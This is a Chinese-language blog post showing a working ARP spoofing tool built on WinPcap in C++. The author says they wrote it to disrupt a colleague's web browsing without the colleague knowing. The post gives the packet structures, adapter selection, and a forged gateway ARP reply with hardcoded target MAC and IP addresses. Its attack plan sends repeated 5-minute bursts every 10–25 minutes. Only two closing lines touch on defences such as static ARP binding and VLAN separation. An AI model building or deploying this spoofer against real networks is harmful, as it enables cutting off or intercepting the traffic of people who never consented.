1. 程式人生 > >基於Winpcap實現ARP欺騙

基於Winpcap實現ARP欺騙

事件起因

某小夥伴太熱衷於瀏覽新聞看網頁,常常忘了自己手中的事情,於是做了這個小程式挑逗了一下

實現過程

ARP欺騙有分為2個方向,欺騙閘道器與欺騙被挑逗者,核心為偽造ARP Reply報文,更新目標主機的ARP快取表,我這裡選擇了攻擊被挑逗者,偽造閘道器向被攻擊者發生ARP Reply報文,引發被攻擊主機更新ARP快取表

為了讓對方有一定上網時間,攻擊流程為:

  • 設定休眠間隔10-25分鐘
  • 持續傳送5分鐘偽造的ARP迴應報文給目標主機,隨機間隔一定秒數發一個包

具體的ARP協議百度上很多,不講了,直接看下程式碼實現

資料結構定義

#pragma pack (1)
//乙太網幀頭部結構體,共14位元組  
struct EthernetHeader  
{  
	u_char DestMAC[6];    		//目的MAC地址 6位元組  
	u_char SourMAC[6];   		//源MAC地址 6位元組  
	u_short EthType;         	//上一層協議型別,如0x0800代表上一層是IP協議,0x0806為arp  2位元組  
}; 

//802.1Q VLAN幀頭部結構體,共18位元組  
struct VlanHeader  
{  
	u_char DestMAC[6];    		//目的MAC地址 6位元組  
	u_char SourMAC[6];    		//源MAC地址 6位元組  
	u_short type;         		//0x8100

	// PRI(3 bit) | CFI(1 bit) | VID(12 bit)
	// PRI:表示幀的優先順序,取值範圍0~7,值越大優先順序越高
	// CFI:值為0代表MAC地址是以太幀的MAC,值為1代表MAC地址是FDDI、 令牌環網的幀
	u_short vid;		  
	u_short EthType;         	//上一層協議型別,如0x0800代表上一層是IP協議,0x0806為arp  2位元組  
};

//28位元組ARP幀結構  
struct Arpheader {  
	unsigned short HardwareType;        //硬體型別  
	unsigned short ProtocolType;        //協議型別  
	unsigned char HardwareAddLen;       //硬體地址長度  
	unsigned char ProtocolAddLen;       //協議地址長度  
	unsigned short OperationField;      //操作欄位  
	unsigned char SourceMacAdd[6];      //源mac地址  
	unsigned long SourceIpAdd;          //源ip地址  
	unsigned char DestMacAdd[6];        //目的mac地址  
	unsigned long DestIpAdd;            //目的ip地址  
};  

//arp包結構  
struct ArpPacket {  
	EthernetHeader ed;  
	Arpheader ah;  
};  

#pragma pack ()

選擇網絡卡

    pcap_if_t* alldevs;        //網路介面卡列表
    pcap_if_t* d;              //選中的介面卡
    char errbuf[PCAP_ERRBUF_SIZE];
    if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
    {
        cout << "pcap_findalldevs_ex fail";
        exit(1);
    }

    int i = 0;
    for (d = alldevs; d; d = d->next)
    {
        cout << "CARD:" << ++i << endl;
        cout << "name:" << d->name << endl;
        cout << "discription:" << d->description << endl;
        cout << "loopback:" << ((d->flags & PCAP_IF_LOOPBACK) ? "Y" : "N") << endl;

        pcap_addr_t* a;
        for (a = d->addresses; a; a = a->next)
        {
            cout << "Address Family:" << a->addr->sa_family << endl;
            switch (a->addr->sa_family)
            {
            case AF_INET:
                cout << "Address Family Name: AF_INET" << endl;
                if (a->addr)
                    cout << "Address: " << iptos(((sockaddr_in*)(a->addr))->sin_addr.S_un.S_addr) << endl;
                if (a->netmask)
                    cout << "Netmask: " << iptos(((sockaddr_in*)(a->netmask))->sin_addr.S_un.S_addr) << endl;
                if (a->broadaddr)
                    cout << "Broadcast Address: " << iptos(((sockaddr_in*)(a->broadaddr))->sin_addr.S_un.S_addr) << endl;
                if (a->dstaddr)
                    cout << "Destination Address: " << iptos(((sockaddr_in*)(a->dstaddr))->sin_addr.S_un.S_addr) << endl;
                break;
            case AF_INET6:
                cout << "Address Family Name: AF_INET6" << endl;
                if (a->addr)
                {
                    ip6tos(a->addr, ip6str, sizeof(ip6str));
                    cout << "Address: " << ip6str << endl;
                }
                break;
            default:
                cout << "Address Family Name: Unknown" << endl;
                break;
            }
        }
        cout << endl;
    }

    cout << "Use Which Card: ";
    int nNetCard;
    cin >> nNetCard;
    d = alldevs;
    for (int i = 1; i < nNetCard; i++)
    {
        d = d->next;
    }

偽造ARP Reply包

    EthernetHeader eh;
    Arpheader ah;
    u_char sendbuf[1518];
    eh.SourMAC[0] = 0x80;
    eh.SourMAC[1] = 0xc1;
    eh.SourMAC[2] = 0x6e;
    eh.SourMAC[3] = 0xdf;
    eh.SourMAC[4] = 0xad;
    eh.SourMAC[5] = 0x99;
    eh.EthType = htons(ETH_ARP);
    eh.DestMAC[0] = 0x54;
    eh.DestMAC[1] = 0xbe;
    eh.DestMAC[2] = 0xf7;
    eh.DestMAC[3] = 0x33;
    eh.DestMAC[4] = 0x5c;
    eh.DestMAC[5] = 0x2e;


    ah.HardwareType = htons(ARP_HARDWARE);
    ah.ProtocolType = htons(ETH_IP);
    ah.HardwareAddLen = 6;
    ah.ProtocolAddLen = 4;
    ah.OperationField = htons(ARP_REPLY);
    ah.SourceMacAdd[0] = 0x80;
    ah.SourceMacAdd[1] = 0xc1;
    ah.SourceMacAdd[2] = 0x6e;
    ah.SourceMacAdd[3] = 0xdf;
    ah.SourceMacAdd[4] = 0xad;
    ah.SourceMacAdd[5] = 0x99;
    ah.SourceIpAdd = inet_addr("192.168.100.1");
    ah.DestMacAdd[0] = 0x54;
    ah.DestMacAdd[1] = 0xbe;
    ah.DestMacAdd[2] = 0xf7;
    ah.DestMacAdd[3] = 0x33;
    ah.DestMacAdd[4] = 0x5c;
    ah.DestMacAdd[5] = 0x2e;
    ah.DestIpAdd = inet_addr("192.168.100.6");

    memset(sendbuf, 0, sizeof(sendbuf));
    memcpy(sendbuf, &eh, sizeof(eh));
    memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah));

開啟網絡卡

    pcap_t* pHandle;
    char errbuf[PCAP_ERRBUF_SIZE];

    if ((pHandle = pcap_open(pParams->pName, 65535, PCAP_OPENFLAG_PROMISCUOUS, 10, NULL, errbuf)) == NULL)
    {
        cout << "Fail to open " << pParams->pName << endl;
        return -1;
    }

發包

    if (pcap_sendpacket(pHandle, sendbuf, sizeof(eh) + sizeof(ah)) != 0)
        cout << "send packets error, code:" << GetLastError() << endl;

小結

對於劃分了VLAN的不同網路,不在同一個VLAN的主機無法欺騙,因為交換機access埠通常不會合作,攻擊包因為不屬於access埠vlan會直接被丟棄

防範arp欺騙也很容易,直接靜態繫結ARP快取表即可,也可以劃分vlan隔離發起攻擊主機與被攻擊主機